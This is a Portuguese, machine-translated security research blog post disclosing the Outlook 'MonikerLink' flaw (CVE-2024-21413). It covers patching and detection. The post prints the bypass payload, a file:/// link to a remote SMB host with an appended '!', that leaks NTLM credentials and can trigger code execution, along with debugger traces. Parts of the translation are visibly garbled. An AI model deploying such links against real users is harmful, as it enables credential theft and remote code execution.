Introdução
Recentemente, a Check Point Research lançou um white paper intitulado “O Óbvio, o Normal e o Avançado: Uma Análise Abrangente dos Vetores de Ataque do Outlook”, detalhando vários vetores de ataque no Outlook para ajudar a indústria a entender os riscos de segurança que o popular aplicativo Outlook pode trazer para as organizações. Como mencionado no artigo, descobrimos um problema de segurança interessante no Outlook quando o aplicativo lida com hiperlinks específicos. Neste post, compartilharemos nossa pesquisa sobre o assunto com a comunidade de segurança e ajudaremos a nos defender contra ele. Também destacaremos o impacto mais amplo desse bug em outros softwares.
Os Comportamentos de Hiperlink no Outlook
Como discutido em Secção I (O Óbvio: o Vetor de Ataque de Hiperlink) em nosso papel, se o hiperlink é iniciado com “http://” ou “https://” – como sabemos it“ um link da web, Outlook iria felizmente iniciar o navegador (padrão) no Windows e abrir o URL da web. Ele detecta um comportamento muito óbvio que todo usuário do Outlook conhece.
Alguém pode se perguntar o que acontece com outros protocolos além de http/https? Sim, fizemos esse teste. Se a cadeia de ligações começar com um protocolo URL de aplicação típico, e o Outlook considerar que o protocolo URL pode ter algumas preocupações de segurança, por exemplo, o protocolo URL “Skype”, o, como a seguir (em um e-mail HTML):
*<um href=”skype:SkypeName?chamada”>Ligue-me no Skype</a>*
Quando clicamos nesse link, uma caixa de diálogo de aviso foi promovida para nos avisar que o link pode não ser seguro para abrir.
Agora, vamos verificar com o protocolo comum “ file: // ”. Testamos pela primeira vez com o seguinte, usando o protocolo para apontar para um arquivo remoto do Word ( substitua o endereço IP pelo seu, se você deseja reproduzir os testes ).
*<um arquivo href = ”:///\\10.10.111.111 \ test \ test.rtf ” > CLIQUE ME < / a >*
Quando clicamos na hiperligação, não havia diálogo de aviso como o protocolo URL anterior do “Skype”. No entanto, uma mensagem de erro foi exibida para o usuário na Central de Notificações do Windows. E o ficheiro “test.rtf” remoto não foi de facto acedido. A mensagem de erro na área da Central de Notificações do Windows tem a seguinte aparência:
Thatilitis razoável e bom para a segurança. Porque, se o Outlook permite que o usuário acesse o arquivo remoto, pelo menos as informações de credencial NTLM local seriam vazadas, pois o acesso ao recurso remoto passaria pelo protocolo SMB, que usaria a credencial local para autenticar.
O Bug #MonikerLink
No entanto, se fizermos uma pequena modificação sobre o link acima, por exemplo, modificando para o seguinte.
*<um href=”arquivo:///\\10.10.111.111\test\test.rtf!alguma coisa”>CLIQUE EM MIM</a>*
Note que adicionámos um “!” no final do “test.rtf” e também adicionou alguns caracteres aleatórios “something”.
Esse link ignorará a restrição de segurança existente do Outlook discutida anteriormente e o Outlook continuará a acessar o recurso remoto “\\10.10.111.111\test\test.rtf” quando o usuário clicar no link.
O ponto chave aqui é o ponto de exclamação especial “!”, que altera o comportamento do Outlook.
O Impacto do Bug
1. Vazando as informações de credencial NTLM locais
É fácil observar que a tentativa de acesso ao “test.rtf” remoto usaria o protocolo SMB (porta 445) e vazaria as informações de credencial NTLM locais durante o processo. Itirates o mesmo processo que muitos outros truques de vazamento de credenciais NTLM.
2. De novo vetor de ataque a execução arbitrária de código
Poderia fazer mais? Isso é a pergunta mais profunda que passamos muito tempo pesquisando para responder. Essencialmente, precisamos descobrir o que realmente acontece quando o usuário clica em um link como “file:///\\10.10.111.111\test\test.rtf!algo”.
Na verdade, a nossa análise aprofundada mostra que o Outlook trata o link como um “Moniker Link” (como lhe chamamos). Monikers é um dos principais conceitos do Modelo de Objeto de Componente (“COM”) no Windows. Uma string “Moniker Link” significa que o chamador usará a string para “look up” para objetos COM. Por favor, leia os documentos da Microsoft relacionados para saber mais sobre COM e Monikers.
Tecnicamente, o Outlook chama o “ole32!MkParseDisplayName()” API para fazer esse trabalho – analisando a cadeia de caracteres Moniker Link e usando isso para “look up” para objetos COM. Ao depurar o Outlook, podemos confirmar isso definindo um ponto de interrupção simples nessa API no Windbg. O ponto de interrupção será atingido desde que o usuário clique no link.
Ponto de ruptura 0 bater
eax =00000000 ebx =00000023 ecx = 1a168666 edx = 0000002f esi = 1a168620 edi =800401e4
eip = 772a5ca0 esp = 009c8d2c ebp = 009c97ac iopl =0 nv up ei pl zr na pe nc
cs =0023 ss = 002b ds = 002b es = 002b fs =0053 gs = 002b efl =00000246
ole32!MkParseDisplayName:
772a5ca0 8bff mov edi, edi
0:000> k
# ChildEBP RetAddr
00 009c97ac 64707f22 ole32!MkParseDisplayName [com \ ole32 \ com \ moniker2 \ cmonimp.cxx @ 1413]
01 009c97ac 64703930 hlink!HrParseDisplayNameEx +0x5052
02 009c983c 64702dc8 hlink!HrIntHlinkCreate+0x140
03 009c9878 740af6db hlink!HlinkCreateFromString+0xa8
04 009c9914 69e839bf mso30win32cliente!MsoHrHlinkCreateFromString+0x8d
05 009c9a88 69e837wwlib!HrCreateHlinkParseField+0x1eb
06 009cec94 69dbd065 wwlib!HrCreateHlinkFromField+0xda
07 009ce4 6a814114 wwlib!FReadHyperlinkFieldData+0x1c7
08 009cedac 6acc1cd8 wwlib!TmcHyperlinkOpen+0xbe
09 009cedd8 6aceaea3 wwlib!FDoHyperlinkHit+0x9f
0a 009cedf0 6b109066 wwlib!FHandleHyperlinkOnClick+0x43
0b 009cee38 6b101b7a wwlib!CHyperlinkTE::HandleClick+0x129
0c 009cf07c 6b101f6e wwlib!CDispatcherTE::OnClick+0x2ae
0d 009cf090 6b0f8d59 wwlib!CDispatcherTE::OnSingleClick+0x10
0e 009cf0a8 6b0f8f0e wwlib!CMouseToolApp::ExecuteGesture+0xfa
…
De acordo com Microsoft’s API document, o segundo parâmetro, “szUserName” da API “MkParseDisplayName()” é o “display name” a ser analisado. Letilitis verifique isso.
0:000> du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du du poi(esp+4*2)
1a168620 “\\10.10.111.111\test\test.rtf!alguma coisa”
Vemos que a nossa cadeia de caracteres Moniker Link está lá (o prefixo do protocolo URL “file:///” é removido).
Além disso, como explicado no Documento API, quando envolve o “!”, significa que este é um apelido composto: um FileMoniker baseado em “\\10.10.111.111\test\test.rtf”, e um ItemMoniker baseado em “something”.
Portanto, nosso teste confirma que o processo é que o Outlook chama a API – MkParseDisplayName(), para procurar o objeto COM que a cadeia de caracteres Moniker Link aponta.
O Modelo de Objeto Componente é bastante complexo; envolve muitos conceitos. Mas, simplificando, para este cenário, o chamador (aqui está o aplicativo Outlook) apenas chama as APIs auxiliares COM (aqui está o “MkParseDisplayName()”), para fazer o trabalho. Depende realmente da aplicação de destino (o “COM server”) para saber como e o que devolver para o objeto COM. O servidor COM implementa e expõe certas Interfaces COM ao chamador ou às APIs do wrapper. O processo é essencialmente como executar um aplicativo externo do seu aplicativo (COM é muito mais complexo, embora).
Portanto, pode causar vários problemas de segurança porque não sabemos o que o servidor COM faria.
Para o exemplo acima – apelido composto com FileMoniker + ItemMoniker, porque o nome da extensão é “.rtf”, ele chama/executa o Microsoft Word para “look up” para o objeto COM apontado pelo Moniker Link. O Word é um aplicativo baseado em COM bem projetado. O processo é basicamente como o seguinte.
- O Windows executa o Microsoft Word como um servidor COM em segundo plano (sem mostrar a UI normal do Word).
- Em segundo plano, o Word abre e analisa o ficheiro “test.rtf” apontado pelo nome de ficheiro – com base na cadeia de caracteres “\\10.10.111.111\test\test.rtf”. Depois disso, ele tenta procurar o objeto apontado pelo nome do item – com base na string “something”.
Portanto, este é o problema, o Word abre e analisa o ficheiro “test.rtf” – que está no servidor controlado pelo intruso e controlado pelo intruso. E se houver um bug – como um bug de execução de código – durante o processo do (running-as-a-COM-server) Word analisa o arquivo test.rtf?
O Weilitve usou com sucesso um PoC .rtf e reproduziu o ataque, veja o seguinte, ele falha no processo “WINWORD.EXE”.
(nota: o PoC “crash” que usamos é apenas uma falha não explorável depois que a Microsoft corrigiu uma vulnerabilidade RTF anterior, mas já é suficiente para provar o ponto em que o arquivo RTF é analisado)
Também podemos ver que o processo do Word em segundo plano é iniciado como um servidor COM, como indicam os nomes das funções destacadas.
Ainda mais grave, todo o processo não envolve o modo de Vista Protegida – o processo do Word em segundo plano é executado no nível de integridade Médio. Então, esse vetor de ataque até ignora a Visão Protegida. Isso tornaria o invasor ainda mais fácil de obter execução de código na máquina vitimetilits.
Gostaríamos de destacar novamente que o Word (RTF PoC) é apenas um exemplo aqui, ele realmente é. Devido à natureza do Modelo de Objeto de Componente, ele realmente depende do aplicativo explorado (o servidor COM) e da segurança do aplicativo. O problema “Moniker Link” que discutimos aqui é um vetor de ataque que “abre a porta” para a exploração futura de muitas aplicações. Alguns aplicativos podem nem ser os instalados por padrão no Windows e podem ser instalados pelos usuários de tempos em tempos. Então, há uma superfície de ataque muito grande aberta por este vetor de ataque.
Curiosamente, há um Documento da microsoft dizendo isso usando MkParseDisplayName() ou MkParseDisplayNameEx() analisar a entrada controlada pelo atacante não é seguro.
Comparado a outros vetores de ataque do Outlook
Agora, entendemos todo o processo e os problemas. Alguns leitores podem se perguntar se isso é uma preocupação real? Que tal compará-lo com outros vetores de ataque no Outlook? Isso é uma boa pergunta.
Webocive lançou o nosso Papel vetorial de ataque do Outlook para que possamos responder a isso agora. Conforme examinado e definido em nosso artigo, a pontuação de um único clique, como este clique único em um hiperlink, é 1,0.
Letilits assume que o invasor tem uma exploração para o Microsoft Word funcionando sem a Visualização Protegida (pois esse é o caso mais comum). Se o exploit for enviado como um anexo, o atacante precisa que a vítima execute um duplo clique no anexo (Cenário 2.2.1 no documento). No entanto, esse não é o total, porque um anexo enviado de um endereço de e-mail externo ativaria a Visualização Protegida no Word, e isso bloquearia a exploração do atacante, porque a exploração não funciona quando a Visualização Protegida é ativada. Isso significa que o invasor precisa enganar a vítima para executar outro clique único para sair do modo de Visualização Protegida do Word, para que seu/sua exploração possa ser executado.
Então, no total, isso é um clique duplo e um único clique para toda a cadeia de ataque. A pontuação para a interoperabilidade do utilizador é: 1,2 + 1 = 2,2.
Se o atacante entregar a exploração com o vector de ataque “Moniker Link”, seria apenas um único clique (clicando no link), e também ignora a Vista Protegida. Então, a pontuação total é de apenas 1,0. It’s muito melhor do que a pontuação tradicional 2.2 (quanto menor a pontuação, melhor para os atacantes – pior para os usuários).
Então, agora, você pode entender claramente que é mais conveniente para o invasor (o que significa ruim para a segurança do usuário) entregar a exploração do Word usando o vetor de ataque “Moniker Link”.
(Observação: existem requisitos menores para o vetor de ataque “Moniker Link”, como a exploração precisa funcionar com o modo de servidor COM do Word, ou, a rede de vítimas precisa permitir o tráfego SMB de saída para atacantes externos)
Defesa e Mitigação
Weroitve confirmou este vetor de bug/ataque #MonikerLink nos ambientes mais recentes do Windows 10/11 + Microsoft 365 (Office 2021). Outras edições/versões do Office provavelmente também serão afetadas. Na verdade, acreditamos que este é um problema negligenciado que existiu no ecossistema Windows/COM por décadas, uma vez que está no núcleo das APIs COM.
O Webocive relatou esse problema ao Microsoft Security Response Center (MSRC) e eles lançaram uma crítica Atualização de Segurança para o Outlook no Patch Tuesday de fevereiro de 2024 (CVE-2024-21413) com a pontuação CVSS de 9,8. Recomendamos vivamente que todos os utilizadores do Outlook apliquem o patch oficial o mais rapidamente possível.
A Check Point desenvolveu várias proteções para nossos clientes assim que descobrimos a vulnerabilidade de segurança internamente, os clientes da Check Point foram protegidos muitos meses antes desse tempo de divulgação. As proteções são:
- A Check Point Email Security implantou proteção para clientes desde 25 de outubro de 2023.
- A Equipe de Investigação da Rede Check Point’ desenvolveu uma Proteção IPS denominada “Microsoft Outlook Malicious Moniker Link Remote Code Execution (CVE-2024-21413)” para evitar tentativas de exploração desta vulnerabilidade. Os clientes IPS da Check Pointilitis foram protegidos desta vulnerabilidade mesmo antes da divulgação da itilits desde 15 de novembro de 2023.
A Check Point Research continua monitorando as atividades para possíveis ataques que exploram esse vetor de bug/atacante em estado selvagem através de nossos dados de telemetria.
O Grande Filme
Essencialmente, esse bug #MonikerLink (ou vetor de ataque) é um risco de segurança introduzido usando uma API insegura (o MkParseDisplayName/MkParseDisplayNameEx). Portanto, esse problema de segurança pode muito bem não só existir no Microsoft Outlook, mas também pode existir e afetar outros softwares que usam as APIs de maneira insegura. Acabamos de descobrir o problema no Outlook.
Portanto, gostaríamos de chamar as comunidades de segurança e desenvolvedores para encontrar e corrigir esses bugs (vetores de ataque) em outros softwares, também, pois há muito software no mundo real. É bastante fácil de realizar o teste. Se você é um engenheiro de QA ou de segurança, você pode colocar o Hyperlink seguindo o formato “file:///\\ip\test\test.rtf!algo” em algum lugar na entrada que o software de destino processará e monitorará os comportamentos do software de destino quando processar a entrada. Se você é um desenvolvedor, por favor, atente para os usos do MkParseDisplayName/MkParseDisplayNameEx APIs do Windows (e algumas APIs do wrapper).
Ele detecta algo como o bug #log4j que afeta o ecossistema Java, mas esse vetor de bug/ataque #MonikerLink afeta o ecossistema Windows/COM.
Conclusão
Nesta postagem do blog, divulgamos um problema de segurança significativo no Outlook, apelidado de bug #MonikerLink. O bug não só permite o vazamento das informações NTLM locais, mas também pode permitir a execução remota de código e muito mais como um vetor de ataque. Ele também pode ignorar a Visualização Protegida do Office quando ela é usada como um vetor de ataque para segmentar outros aplicativos do Office. Também comparamos esse vetor de ataque com outros vetores de ataque que discutimos em nosso artigo do Outlook lançado anteriormente e descobrimos que os riscos desse problema poderiam ser simplesmente ignorados. Recomendamos vivamente que os nossos clientes e leitores tomem as medidas adequadas para proteger as suas organizações contra os potenciais riscos de segurança que possam causar. Consulte a nossa secção “Defense and Mitigation” para mais detalhes.
Com nossa pesquisa aprofundada, o weilitve também descobriu que esse vetor de bug/ataque #MonikerLink pode não apenas existir no Microsoft Outlook, mas também pode existir e afetar outros softwares. Nós alertamos sobre o impacto potencial do bug #MonikerLink em outros softwares e incentivamos as comunidades de segurança e desenvolvedores a encontrar e corrigir esses bugs.